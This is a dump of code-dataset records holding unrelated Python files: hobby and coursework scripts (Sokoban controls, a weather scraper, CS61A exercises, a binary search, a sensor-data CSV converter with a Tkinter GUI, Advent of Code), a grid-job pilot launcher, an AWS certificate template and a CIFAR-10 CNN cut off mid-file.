print('press q for quit')\n print(\"press w,s,a,d -> move up, down, left, right\")\n print(\"press i,k,j,l -> push up, down, left, right\")\n input_str = input(\"Please Enter your command: \")\n c = input_str[0]\n action = None\n if c == 's':\n action = 0\n elif c == 'w':\n action = 1\n elif c == 'a':\n action = 2\n elif c == 'd':\n action = 3\n elif c == 'k':\n action = 4\n elif c == 'i':\n action = 5\n elif c == 'j':\n action = 6\n elif c == 'l':\n action = 7\n\n if action is not None:\n print(f\"next action: {action}, {action} is {env.action_dict[action]}\")\n env.action(action)\n env.display()\n\n\n","sub_path":"sokoban_keyboard.py","file_name":"sokoban_keyboard.py","file_ext":"py","file_size_in_byte":8389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"121076205","text":"import docx\nimport os\nimport re\n\nimport calendar\nimport datetime\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport re\nimport pyperclip\n\n\n# world操作\n# 传入三个参数, 旧字符串, 新字符串, 文件对象7 8\ndef replace_text(old_text, new_text, file):\n # 遍历文件对象 33400 32647\n for f in file.paragraphs:\n # 如果 旧字符串 在 某个段落 中\n if old_text in f.text:\n print(\"替换前:\", f.text)\n # 将段落存入 inline\n inline = f.runs\n # 遍历 段落 生成 i\n for i in inline:\n # 如果 旧字符串 在 i 中\n if old_text in i.text:\n # 替换 i.text 内文本资源\n text = i.text.replace(old_text, new_text)\n i.text = text\n print(\"替换后===>\", f.text)\n\n\ndef getday():\n allday = calendar.monthrange(datetime.datetime.now().year, datetime.datetime.now().month)[1]\n newday = datetime.datetime.now().day\n finallyday = str(allday - newday)\n return finallyday\n\n\ndef getweather():\n # 获取天气信息\n # base_url = \"http://www.weather.com.cn/weather1d/101010100.shtml\"\n base_url = \"https://www.tianqi.com/beijing/\"\n\n url = base_url\n\n html = urlopen(url).read().decode('utf-8')\n soup = BeautifulSoup(html, features='lxml')\n # print(html)\n # 天气\n wea = soup.find('dd', class_='weather')\n kongqi=soup.find('dd', class_='kongqi')\n kongqistr=(kongqi.h5.text+kongqi.h6.text).replace('空气质量:', '')\n\n weather = \"天气:\" + wea.span.text + \" \" + kongqistr\n return weather\n\n\nif __name__ == '__main__':\n docx_file_name = 'C:/Users/XH/Desktop/模板.docx'\n docx_file_name1 = 'C:/Users/XH/Desktop/模板1.docx'\n # 获取文件对象\n file = docx.Document(docx_file_name)\n # 三个参数: 旧的字符串, 新的字符串, 文件对象\n weather = getweather()\n\n day = '本月余额' + getday() + '天'\n\n # replace_text('天气', weather, file)\n # replace_text('本月余额', day, file)\n # file.save(docx_file_name1)\n\n str = weather + '\\n' + day\n pyperclip.copy(str)\n\n print(\"成功\"+str)\n # print(docx_file_name1, \"替换成功\"+str)\n# main()\n","sub_path":"my/diary.py","file_name":"diary.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"455584943","text":"def wears_jacket(temp, raining):\n \"\"\"\n Alfonso will only wear a jacket outside if it is below 60 degrees or \n it is raining. Fill in the function wears jacket which takes in the \n current temperature and a Boolen value telling if it is raining and\n returns True if Alfonso will wear a jacket ad False otherwise. This\n should only take one line of code!\n \"\"\"\n return temp < 60 or raining\n\ndef handle_overflow(s1, s2):\n \"\"\"\n To handle discussion section overflow, TAs may direct students to a \n more empty section that is happening at the same time. Write the \n function handle overflow, which takes in the number of students at \n two sections and prints out what to do if either section\n exceeds 30 students. See the doctests below for the behavior.\n \"\"\"\n if s1 < 30 and s2 < 30:\n print(\"No overflow.\")\n elif s1 < 30:\n print(\"%d spot left in Section 1.\" % (30-s1))\n elif s2 < 30:\n print(\"%d spot left in Section 2.\" % (30-s2))\n elif s1 >= 30 and s2 >= 30:\n print(\"No space left in either section.\")\n\ndef is_prime(n):\n if n == 1:\n return False\n elif n == 2:\n return True\n elif n % 2 == 0:\n return False\n for i in range(3, int(n**0.5 + 1), 2):\n if n % i == 0:\n return False\n return True\n\n\ndef fizzbuzz(n):\n \"\"\"\n >>> result = fizzbuzz(16)\n 1\n 2\n fizz\n 4\n buzz\n fizz\n 7\n 8\n fizz\n buzz\n 11\n fizz\n 13\n 14\n fizzbuzz\n 16\n >>> result == None\n True\n \"\"\"\n for i in range(1, n + 1):\n if i % 3 == 0 and i % 5 == 0:\n print(\"fizzbuzz\")\n elif i % 3 == 0:\n print(\"fizz\")\n elif i % 5 == 0:\n print(\"buzz\")\n else:\n print(i)\n\n\n\n\n\n","sub_path":"61a/disc01/questions.py","file_name":"questions.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"251308164","text":"class binarySearch(object):\n\n def __init__(self,size,step):\n self.size = size\n self.step = step\n\n #methods to create lists\n if self.size in self.toTwenty():\n self.number_list = self.toTwenty()\n\n elif self.size in self.toForty():\n self.number_list = self.toForty()\n\n elif self.size in self.toOneThousand():\n self.number_list = self.toOneThousand()\n\n self.length = len(self.number_list)\n\n #getter method to return self as list\n def __getitem__(self, index):\n return self.number_list[index]\n#methods defined that will return list using list comprehension\n def toTwenty(self):\n return [n for n in range(1, 21)]\n def toForty(self):\n return [n for n in range(2, 41, 2)]\n def toOneThousand(self):\n return [n for n in range(10, 1001, 10)]\n #binary search methods\n #checks if the number is at the beginning or end of list\n def search(self, number):\n first_index = 0\n last_index = len(self.number_list)-1\n count = 0\n index = -1\n found = False\n if number == self.number_list[first_index]:\n index = first_index\n found = True\n if number == self.number_list[last_index]:\n index = last_index\n found = True\n #divides the list into two checks if the midpoint matches our number\n while first_index <= last_index and not found:\n count += 1\n midpoint = (first_index + last_index)//2\n break\n if number == self.number_list[midpoint]:\n found = True\n return {'count':count, 'index':midpoint}\n\n if midpoint < number:\n first_index = midpoint + 1\n elif midpoint > number:\n last_index = midpoint -1\n return {'count':0, 'index':index}\n","sub_path":"binarySearch.py","file_name":"binarySearch.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"246534304","text":"\"\"\"\nProgram to convert VOLLMER Sensor Data into Excel readable CSV\n\nV1.0\n© 10/2017 - Kopf\n\"\"\"\n\nimport sys\nimport os\nimport locale\nimport datetime\nfrom tkinter import *\nfrom tkinter import ttk, filedialog\n\n\nclass kanal:\n \"\"\"\n Used with VOLLMER Sensor Data CSV converter\n\n This is a class to save the data from one measurement channel\n\n \"\"\"\n\n def __init__(self):\n \"\"\"Constructor with no arguments\"\"\"\n self._name = ''\n self._phase = ''\n self._type = ''\n self._xscaling = ''\n self._yscaling = ''\n self._data = []\n\n \"\"\" Properties \"\"\"\n @property\n def name(self):\n \"\"\"Name of the Channel\"\"\"\n return self._name\n\n @name.setter\n def name(self, value):\n self._name = value\n\n @property\n def phase(self):\n \"\"\"Phase of the Channel\"\"\"\n return self._phase\n\n @phase.setter\n def phase(self, value):\n self._phase = value\n\n @property\n def type(self):\n \"\"\"Type of the Channel\"\"\"\n return self._type\n\n @type.setter\n def type(self, value):\n self._type = value\n\n @property\n def xscaling(self):\n \"\"\"X-scaling of the channel\"\"\"\n return self._xscaling\n\n @xscaling.setter\n def xscaling(self, value):\n self._xscaling = value\n\n @property\n def yscaling(self):\n \"\"\"Y-scaling of the channel\"\"\"\n return self._yscaling\n\n @yscaling.setter\n def yscaling(self, value):\n self._yscaling = value\n\n @property\n def data(self):\n \"\"\"List of measured values\"\"\"\n return self._data\n\n @data.setter\n def data(self, value):\n self._data = value\n\n @property\n def count(self):\n \"\"\"Number of measurement data points in the array\"\"\"\n return len(self._data)\n\n @property\n def _allproperties_(self):\n \"\"\"List containing all the Sensors Properties in the order\n 0: name\n 1: phase\n 2: type\n 3: xscaling\n 4: yscaling\n 5: data\"\"\"\n return [self.name, self._phase, self._type,\n self._xscaling, self._yscaling, self._data]\n\n\ndef processfile(filepath, outfilepath=''):\n \"\"\"Funtion that reads a input file, checks it and writes an output file\"\"\"\n\n _print('Processing: ', filepath)\n\n _filepath = os.path.abspath(filepath)\n try:\n f = open(_filepath, 'r')\n except FileNotFoundError:\n return False\n _metadata = readmeta(f)\n _channels = readchannels(f)\n f.close()\n if not _channels:\n _print('ERROR reading file:', os.path.abspath(filepath))\n return False\n _print('Reading Channels successful')\n\n # run checks\n if not check(_channels):\n _print(\"One or more checks failed - Program aborted.\")\n return False\n _print('Checks successful')\n\n # find system decimal point to figure out what separator to use in the CSV\n locale.setlocale(locale.LC_ALL, '')\n _sys_dec_separator = locale.localeconv()['decimal_point']\n # if system decimal separator = , (german system) \\\\ use ; as csv separator\n # and change yscaling decimal point from . to ,\n # else - if system decimal separator = . (english system) \\\\ use , as csv\n # separator and do not change yscaling decimal point\n if _sys_dec_separator == ',':\n _separator = ';'\n for c in _channels:\n c.yscaling = c.yscaling.replace('.', ',')\n else:\n _separator = ','\n\n # if no output file path was given, create one automatically by\n # adding _out.csv to input filename\n if not outfilepath:\n outfilepath = os.path.splitext(filepath)[0] + '_out.csv'\n\n # write channels to output file\n if not writefile(outfilepath, _channels, _metadata, _separator):\n _print('ERROR: Write unsuccessful')\n return False\n _print('Write successful!' + '\\n')\n\n\ndef getmeta(filepath):\n \"\"\"Open file and read Metadata\"\"\"\n _filepath = os.path.abspath(filepath)\n try:\n f = open(_filepath, 'r')\n except FileNotFoundError:\n return False\n\n return readmeta(f)\n\n\ndef readmeta(stream=None):\n \"\"\" Read Metadate from filestream (filestream at beginning of file)\n IMPROVABLE: more checks if file is strutured as expected - less hardcoded\n line reading\"\"\"\n if not stream:\n return False\n f = stream\n _meta = []\n\n f.readline()\n f.readline()\n f.readline()\n _version = f.readline().strip('\\n') + '.'\n f.readline()\n f.readline()\n _version = _version + f.readline().strip('\\n')\n f.readline()\n f.readline()\n _year = int(f.readline().strip('\\n'))\n f.readline()\n f.readline()\n _month = int(f.readline().strip('\\n'))\n f.readline()\n f.readline()\n _day = int(f.readline().strip('\\n'))\n f.readline()\n f.readline()\n _hour = int(f.readline().strip('\\n'))\n f.readline()\n f.readline()\n _min = int(f.readline().strip('\\n'))\n f.readline()\n f.readline()\n _sec = int(f.readline().strip('\\n'))\n f.readline()\n f.readline()\n f.readline()\n f.readline()\n f.readline()\n _title = f.readline().strip('\\n') + '>'\n f.readline()\n f.readline()\n _title = _title + f.readline().strip('\\n')\n _meta.append(_title)\n _meta.append(_version)\n _meta.append(datetime.datetime(\n _year, _month, _day, _hour, _min, _sec))\n\n return _meta\n\n\ndef readchannels(stream):\n \"\"\"Reads a Measurement file and returns a list of channel-objects\"\"\"\n\n # container to hold all read channel objects\n _channels = []\n\n if not stream:\n return False\n\n f = stream\n\n # Go through filestream and look for line: StartChannel\n # whenever StartChannel is found, call readchannel() to read next channel\n for line in f:\n if 'StartChannel' not in line:\n continue\n else:\n _channels.append(readchannel(f))\n f.close()\n _print(len(_channels), 'channels found!')\n\n return _channels\n\n\ndef readchannel(f):\n \"\"\"Read one channel from a filestream and return a single kanal-object\n IMPROVABLE: more checks if file is strutured as expected - less hardcoded\n line reading\n \"\"\"\n\n # create new channel object\n c = kanal()\n\n # read channel information (name, phase, type, xscaling, yscaling)\n f.readline()\n f.readline()\n c.name = f.readline().strip('\\n')\n f.readline()\n f.readline()\n c.phase = f.readline().strip('\\n')\n f.readline()\n f.readline()\n c.type = f.readline().strip('\\n')\n f.readline()\n f.readline()\n c.xscaling = f.readline().strip('\\n')\n f.readline()\n f.readline()\n c.yscaling = f.readline().strip('\\n')\n f.readline()\n f.readline()\n\n # continue in filestream and write each line to channel.data\n # until empty line is found. For each found line\n # strip newline, remove decimals and convert to integer\n # ( '1234.0000/n' will be saved as 1234 )\n for line in f:\n if line == '\\n':\n break\n\n c.data.append(int(line.strip('\\n').split('.')[0]))\n\n return c\n\n\ndef check(channels):\n \"\"\"Check list of channels for consistency:\n 1. List is not empty\n 2. All channels have the same number of data points\n 3. All channels have the same xScaling\n return True if all tests are successful\"\"\"\n\n _print('Checking Channels')\n\n # check if channel list is empty\n if len(channels) == 0:\n _print('ERROR: Check failed. No channel information found.')\n return False\n\n # check if all channels have the same number of data points\n c = set([x.count for x in channels])\n if not len(c) == 1:\n _print('''ERROR: Check failed. Number of values\n is not equal on all sensors.''')\n _print([(x.name, x.count) for x in channels])\n return False\n\n # check if all channels have the same xscaling\n c = set([x.xscaling for x in channels])\n if not len(c) == 1:\n _print('''ERROR: Check failed. X-Scaling\n is not equal on all sensors.''')\n _print([(x.name, x.xscaling) for x in channels])\n return False\n\n return True\n\n\ndef writefile(filename, channels, metadata, separator):\n \"\"\"Output metadata and list of channels to file in CSV format\n separated by a specific separator - return True if successful\"\"\"\n\n _print('Writing output file:', filename)\n\n # open output file for writing\n f = open(filename, 'w')\n\n # write metadata into first line\n f.write(metadata[0].split('>')[0] + separator +\n metadata[0].split('>')[1] + separator +\n 'Version ' + metadata[1] + separator +\n str(metadata[2]) + '\\n')\n\n # write channel names, phase, type, xscaling, yscaling values to next lines\n for p in range(5):\n s = str(list(channels[0].__dict__.keys())[p]) + separator\n for c in channels:\n s = s + c._allproperties_[p] + separator\n f.write(s + '\\n')\n\n # data into following lines, first column is always the date of recording\n for i in range(channels[0].count):\n s = str(\n metadata[2] + datetime.timedelta(0, i * int(channels[0].xscaling))\n ) + separator\n for c in channels:\n s = s + str(c.data[i]) + separator\n f.write(s + '\\n')\n f.close()\n return True\n\n\ndef info(*arg):\n \"\"\"Print Arguments to Info Textbox\"\"\"\n string = ''\n for a in arg:\n string += str(a) + ' '\n string += '\\n'\n _info_text.insert('end -1 chars', string)\n\n\ndef browse_in():\n \"\"\"Call File Open Dialog, update _input\n and write file metadata to Info Box\"\"\"\n filename = filedialog.askopenfilename(\n initialdir=os.getcwd(),\n filetypes=[('TXT', '.txt')])\n if not filename:\n return False\n _input.set(filename)\n preFilledOut = os.path.splitext(filename)[0] + '_out.csv'\n _output.set(preFilledOut)\n\n _metadata = getmeta(filename)\n _info = ('Title: ' + _metadata[0].split('>')[0] + '\\n' + 'Subject: ' +\n _metadata[0].split('>')[1] + '\\n' +\n 'Version: ' + _metadata[1] + '\\n' + 'Date: ' +\n str(_metadata[2]) + '\\n')\n info(filename)\n info(_info)\n\n\ndef browse_out():\n \"\"\"Call File Save Dialog and update _output\"\"\"\n filename = filedialog.asksaveasfilename(\n initialfile=_output.get(),\n filetypes=[('CSV', '.csv')])\n if not filename:\n return False\n _output.set(filename)\n\n\ndef convert():\n \"\"\"Process file from input textbox and write to file in output textbox\"\"\"\n filepath = _input.get()\n outfilepath = _output.get()\n processfile(filepath, outfilepath)\n\n\nif __name__ == '__main__':\n \"\"\"Main part that gets called first\n Function:\n If the script was called with command line parameters:\n Run through the command line parameters and quit\n (write _print() output to console window)\n If the script was called without command line Parameters:\n Run the GUI\n (write _print() output to Info Box)\"\"\"\n\n # get list of command line parameters\n _args = sys.argv\n\n # if command line parameters exist call processfile on first parameter then\n # delete it from the list\n while len(_args) > 1:\n _print = print\n processfile(_args[1])\n del(_args[1])\n if len(_args) == 1:\n input('Done - Press any key to close')\n sys.exit()\n\n # if no command line parameter exists --> run GUI\n _print = info\n\n # Setup Interface\n _root = Tk()\n _root.title('Convert LEM PQ to CSV')\n _root.columnconfigure(0, weight=1)\n _root.rowconfigure(0, weight=1)\n\n # Main Frame\n _main_frame = ttk.Frame(\n _root, padding='5 5 5 5')\n _main_frame.grid(row=0, column=0, sticky=(W, N, E, S))\n _main_frame.columnconfigure(0, weight=1)\n _main_frame.columnconfigure(1, weight=0)\n _main_frame.rowconfigure(0, weight=0)\n _main_frame.rowconfigure(1, weight=0)\n _main_frame.rowconfigure(2, weight=1)\n\n # Input Frame\n _input_frame = ttk.LabelFrame(\n _main_frame, text='Input File', padding='5 5 5 5')\n _input_frame.grid(row=0, column=0, sticky=(E, W), columnspan=2)\n _input_frame.columnconfigure(0, weight=1)\n\n # Input Textbox\n _input = StringVar()\n _input.set('Please select input file')\n _in_entry = ttk.Entry(\n _input_frame, width=60, textvariable=_input)\n _in_entry.grid(row=0, column=0, sticky=(W, N, E, S), padx=5)\n\n # Input Browse Button\n _browse_in_btn = ttk.Button(\n _input_frame, text='Browse', command=browse_in)\n _browse_in_btn.grid(row=0, column=1, sticky=(W))\n\n # Output Frame\n _output_frame = ttk.LabelFrame(\n _main_frame, text='Output File', padding='5 5 5 5')\n _output_frame.grid(row=1, column=0, sticky=(W, N, E, S))\n _output_frame.columnconfigure(0, weight=1)\n\n # Output Textbox\n _output = StringVar()\n _output.set('')\n _output_entry = ttk.Entry(\n _output_frame, width=60, textvariable=_output)\n _output_entry.grid(row=0, column=0, sticky=(W, N, E, S), padx=5)\n\n # Output Browse Button\n _browse_out_btn = ttk.Button(\n _output_frame, text='Browse', command=browse_out)\n _browse_out_btn.grid(row=0, column=1, sticky=(W))\n\n # Info Frame\n _info_frame = ttk.Frame(_main_frame, padding='5 5 5 5')\n _info_frame.grid(row=2, column=0, sticky=(W, N, E, S))\n _info_frame.columnconfigure(0, weight=1)\n _info_frame.rowconfigure(0, weight=1)\n\n # Info Text Area + Scrollbar\n _info_text = Text(_info_frame, width=60, height=15, state=NORMAL)\n _info_text.grid(row=0, column=0, sticky=(W, N, E, S), padx=(5, 20))\n _info_vert_scrollbar = ttk.Scrollbar(\n _info_frame, orient=VERTICAL, command=_info_text.yview)\n _info_vert_scrollbar.grid(row=0, column=0, sticky=(N, E, S), padx=3)\n _info_text.configure(yscrollcommand=_info_vert_scrollbar.set)\n\n # Convert Button\n _convert_btn = ttk.Button(\n _info_frame, text='Convert', command=convert)\n _convert_btn.grid(row=0, column=1, sticky=(N, W))\n\n # Quit Button\n _quit_btn = ttk.Button(\n _info_frame, text='Quit', command=_root.quit)\n _quit_btn.grid(row=0, column=1, sticky=(W, S))\n\n _root.mainloop()\n","sub_path":"sillit/sillitGUI.pyw","file_name":"sillitGUI.pyw","file_ext":"pyw","file_size_in_byte":14134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"392465932","text":"#!/usr/bin/env python\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Authors:\n# - Mario Lassnig, mario.lassnig@cern.ch, 2016-2017\n# - Daniel Drizhuk, d.drizhuk@gmail.com, 2017\n\nimport argparse\nimport logging\nimport sys\nimport threading\n\nfrom pilot.util.constants import SUCCESS, FAILURE, ERRNO_NOJOBS\nfrom pilot.util.https import https_setup\nfrom pilot.util.information import set_location\n\nVERSION = '2017-04-04.001'\n\n\ndef main():\n logger = logging.getLogger(__name__)\n logger.info('pilot startup - version %s' % VERSION)\n\n args.graceful_stop = threading.Event()\n\n https_setup(args, VERSION)\n\n if not set_location(args):\n return False\n\n logger.info('workflow: %s' % args.workflow)\n workflow = __import__('pilot.workflow.%s' % args.workflow, globals(), locals(), [args.workflow], -1)\n return workflow.run(args)\n\n\nif __name__ == '__main__':\n arg_parser = argparse.ArgumentParser()\n\n arg_parser.add_argument('-d',\n dest='debug',\n action='store_true',\n default=False,\n help='enable debug logging messages')\n\n # the choices must match in name the python module in pilot/workflow/\n arg_parser.add_argument('-w',\n dest='workflow',\n default='generic',\n choices=['generic', 'generic_hpc',\n 'production', 'production_hpc',\n 'analysis', 'analysis_hpc',\n 'eventservice', 'eventservice_hpc'],\n help='pilot workflow (default: generic)')\n\n # graciously stop pilot process after hard limit\n arg_parser.add_argument('-l',\n dest='lifetime',\n default=10,\n type=int,\n help='pilot lifetime seconds (default: 10)')\n\n # set the appropriate site and queue\n arg_parser.add_argument('-q',\n dest='queue',\n required=True,\n help='MANDATORY: queue name (e.g., AGLT2_TEST-condor')\n\n # graciously stop pilot process after hard limit\n arg_parser.add_argument('-j',\n dest='job_label',\n default='mtest',\n help='job prod/source label (default: mtest)')\n\n # SSL certificates\n arg_parser.add_argument('--cacert',\n dest='cacert',\n default=None,\n help='CA certificate to use with HTTPS calls to server, commonly X509 proxy',\n metavar='path/to/your/certificate')\n arg_parser.add_argument('--capath',\n dest='capath',\n default=None,\n help='CA certificates path',\n metavar='path/to/certificates/')\n\n args = arg_parser.parse_args()\n\n console = logging.StreamHandler(sys.stdout)\n if args.debug:\n logging.basicConfig(filename='pilotlog.txt', level=logging.DEBUG,\n format='%(asctime)s | %(levelname)-8s | %(threadName)-10s | %(name)-32s | %(funcName)-32s | %(message)s')\n console.setLevel(logging.DEBUG)\n console.setFormatter(logging.Formatter('%(asctime)s | %(levelname)-8s | %(threadName)-10s | %(name)-32s | %(funcName)-32s | %(message)s'))\n else:\n logging.basicConfig(filename='pilotlog.txt', level=logging.INFO,\n format='%(asctime)s | %(levelname)-8s | %(message)s')\n console.setLevel(logging.INFO)\n console.setFormatter(logging.Formatter('%(asctime)s | %(levelname)-8s | %(message)s'))\n logging.getLogger('').addHandler(console)\n\n trace = main()\n logging.shutdown()\n\n if not trace:\n logging.getLogger(__name__).critical('pilot startup did not succeed -- aborting')\n sys.exit(FAILURE)\n elif trace.pilot['nr_jobs'] > 0:\n sys.exit(SUCCESS)\n else:\n sys.exit(ERRNO_NOJOBS)\n","sub_path":"pilot.py","file_name":"pilot.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"467642925","text":"# map filter\n\n# def add_five(x):\n# return x + 5\n\n# nums = [11, 22, 33, 44, 55]\n# result = list(map(add_five, nums))\n# print(result)\n\n# -------------- 分割线\n\nnums = [11, 22, 33, 44, 55]\nres = list(filter(lambda x: x%2==0, nums)) # 意思是分离过滤出偶数\nprint(res)","sub_path":"29-35/33.py","file_name":"33.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"56981158","text":"import time\nimport re\n\n\nclass Docking:\n\n def __init__(self):\n self.mask = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n self.mem = {} # dictionary to hold the memory\n\n def readfile(self, file):\n\n p_mask = re.compile(\"^mask\")\n p_mask_data = re.compile(\"^mask = ([X10]+)\")\n\n for line in open(file):\n\n m = re.match(p_mask_data, line)\n\n # Determine whether this is a mask line\n if m:\n # Retrieve the mask and set it\n self.mask = m.group(1)\n else:\n # Process as a mem line\n self.parse_mem_line(line)\n\n print(f\"The sum of the mem dict is {self.sum_mem()}\")\n\n def parse_mem_line(self, line):\n\n p = re.compile(\"^mem\\[(\\d+)\\] = (\\d+)\")\n m = re.match(p, line)\n\n address = m.group(1)\n value = format(int(m.group(2)), \"036b\")\n result = self.apply_value_mask(value)\n\n self.write_to_memory(address, result)\n\n def write_to_memory(self, address, value):\n self.mem[address] = value\n\n def apply_value_mask(self, value):\n \"Input the value and the mask; return the resultant\"\n\n mask = self.mask\n\n if len(value) != len(mask):\n print(\"Error, value and mask aren't the same length\")\n return False\n\n result = \"\"\n\n for m, v in zip(mask, value):\n if m == \"X\":\n r = v\n else:\n r = m\n\n result = result + r\n\n print(f\"value:\\t{value}\")\n print(f\"mask:\\t{mask}\")\n print(f\"result:\\t{result}\")\n\n return result\n\n def sum_mem(self):\n\n sum = 0\n for v in self.mem.values():\n sum += int(v, 2)\n\n self.sum = sum\n\n return sum\n\n\ndef main():\n\n timeStart = time.perf_counter_ns()\n\n d = Docking()\n d.readfile(\"input-test.txt\")\n\n timeStop = time.perf_counter_ns()\n print(f\"Runtime is {(timeStop - timeStart)/1000000} ms\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"day14/docking.py","file_name":"docking.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187335285","text":"\"\"\"Deploy this in us-east-1. The stack contains certificates for CloudFront.\"\"\"\n\nfrom troposphere import Template, Join, Ref, constants, Parameter, ImportValue\nfrom troposphere.certificatemanager import Certificate, DomainValidationOption\n\ntemplate = Template(Description=\"Certificate for the admin CloudFront.\")\n\nadmin_dns_name = template.add_parameter(Parameter(\n 'AdminDnsName',\n Type=constants.STRING,\n))\n\ndns_stack = template.add_parameter(Parameter(\n 'DnsStack',\n Type=constants.STRING\n))\n\ntemplate.add_resource(Certificate(\n \"Certificate\",\n DomainName=Ref(admin_dns_name),\n DomainValidationOptions=[DomainValidationOption(\n DomainName=Ref(admin_dns_name),\n ValidationDomain=ImportValue(Join('-', [Ref(dns_stack), 'HostedZoneName'])),\n )],\n ValidationMethod='DNS',\n))\n\nf = open(\"output/cms_admin_certificate.json\", \"w\")\nf.write(template.to_json())\n","sub_path":"templates/cms_admin_certificate.py","file_name":"cms_admin_certificate.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"202646845","text":"\r\n# Black_Hole is derived from Simulton only: it updates by finding/removing\r\n# any Prey whose center is contained within its radius\r\n# (returning a set of all eaten simultons), and\r\n# displays as a black circle with a radius of 10\r\n# (width/height 20).\r\n# Calling get_dimension for the width/height (for\r\n# containment and displaying) will facilitate\r\n# inheritance in Pulsator and Hunter\r\n\r\nfrom simulton import Simulton\r\nfrom prey import Prey\r\n\r\nclass Black_Hole(Simulton):\r\n radius=10\r\n def __init__(self,x,y):\r\n Simulton.__init__(self,x,y,20,20)\r\n \r\n \r\n def update(self,selected):\r\n if selected!=set():\r\n temp=set()\r\n for s in selected:\r\n if self.__contains__(s):\r\n temp.add(s)\r\n return temp\r\n else:\r\n return selected\r\n \r\n \r\n def display(self,canvas):\r\n canvas.create_oval(self._x-Black_Hole.radius,self._y-Black_Hole.radius,\r\n self._x+Black_Hole.radius,self._y+Black_Hole.radius,\r\n fill='black')\r\n \r\n def __contains__(self,object):\r\n if self.distance((object._x,object._y)) <=self.radius and isinstance(object, Prey):\r\n return True\r\n \r\n\r\n ","sub_path":"blackhole.py","file_name":"blackhole.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"482789214","text":"import numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\ndef load_cifar10():\n # 学習データ\n x_train = np.load('./data/x_train.npy')\n t_train = np.load('./data/t_train.npy')\n # テストデータ\n x_test = np.load('./data/x_test.npy')\n\n x_train = x_train.astype('float32') / 255\n x_test = x_test.astype('float32') / 255\n t_train = np.eye(10)[t_train.astype('int32').flatten()]\n return (x_train, x_test, t_train)\n\ndef tf_log(x):\n return tf.log(tf.clip_by_value(x, 1e-10, x))\n\n### モデルの構築 ###\ndef inference(x, is_training):\n # x: input_placefloder\n # Conv1\n h = tf.layers.Conv2D(filters=32, kernel_size= [3, 3], padding='SAME')(x)\n h = tf.layers.BatchNormalization()(h, training=is_training)\n h = tf.nn.relu(h)\n h = tf.layers.Conv2D(filters=32, kernel_size= [3, 3], padding='SAME')(h)\n h = tf.layers.BatchNormalization()(h, training=is_training)\n h = tf.nn.relu(h)\n h = tf.layers.MaxPooling2D(pool_size=[2, 2], strides=2)(h)\n h = tf.layers.dropout(h, 0.25, training=is_training)\n # Conv2\n h = tf.layers.Conv2D(filters=64, kernel_size= [3, 3], padding='SAME')(h)\n h = tf.layers.BatchNormalization()(h, training=is_training)\n h = tf.nn.relu(h)\n h = tf.layers.Conv2D(filters=64, kernel_size= [3, 3], padding='SAME')(h)\n h = tf.layers.BatchNormalization()(h, training=is_training)\n h = tf.nn.relu(h)\n h = tf.layers.MaxPooling2D(pool_size=[2, 2], strides=2)(h)\n h = tf.layers.dropout(h, 0.25, training=is_training)\n # Conv3\n h = tf.layers.Conv2D(filters=128, kernel_size= [3, 3], padding='SAME')(h)\n h = tf.layers.BatchNormalization()(h, training=is_training) \n h = tf.nn.relu(h)\n h = tf.layers.Conv2D(filters=128, kernel_size= [3, 3], padding='SAME')(h)\n h = tf.layers.BatchNormalization()(h, training=is_training)\n h = tf.nn.relu(h)\n h = tf.layers.MaxPooling2D(pool_size=[2, 2], strides=2)(h)\n h = tf.layers.dropout(h, 0.25, training=is_training)\n # FC\n h = tf.layers.Flatten()(h)\n h = tf.layers.Dense(units=1024, activation=tf.nn.relu)(h)\n h = tf.layers.dropout(h, 0.5, training=is_training)\n y = tf.layers.Dense(units=10, activation=tf.nn.softmax)(h)\n return y\n\ndef calc_loss(y, t):\n # y: predicted_value, t: label_value\n cross_entropy = - tf.reduce_mean(tf.reduce_sum(t * tf_log(y), axis=1)) \n return cross_entropy\n\ndef training(loss):\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n train_op = tf.train.AdamOptimizer().minimize(loss)\n train = tf.group([train_op, update_ops])\n return train\n\n### 前処理 ###\ndef gcn(x):\n mean = np.mean(x, axis=(1, 2, 3), keepdims=True)\n std = np.std(x, axis=(1, 2, 3), keepdims=True)\n return (x - mean)/std\n\nclass ZCAWhitening:\n def __init__(self, epsilon=1e-4):\n self.epsilon = epsilon\n self.mean = None\n self.ZCA_matrix = None\n\n def fit(self, x):\n x = x.reshape(x.shape[0], -1)\n self.mean = np.mean(x, axis=0)\n x -= self.mean\n cov_matrix = np.dot(x.T, x) / x.shape[0]\n A, d, _ = np.linalg.svd(cov_matrix)\n self.ZCA_matrix = np.dot(np.dot(A, np.diag(1. / np.sqrt(d + self.epsilon))), A.T)\n\n def transform(self, x):\n shape = x.shape\n x = x.reshape(x.shape[0], -1)\n x -= self.mean\n x = np.dot(x, 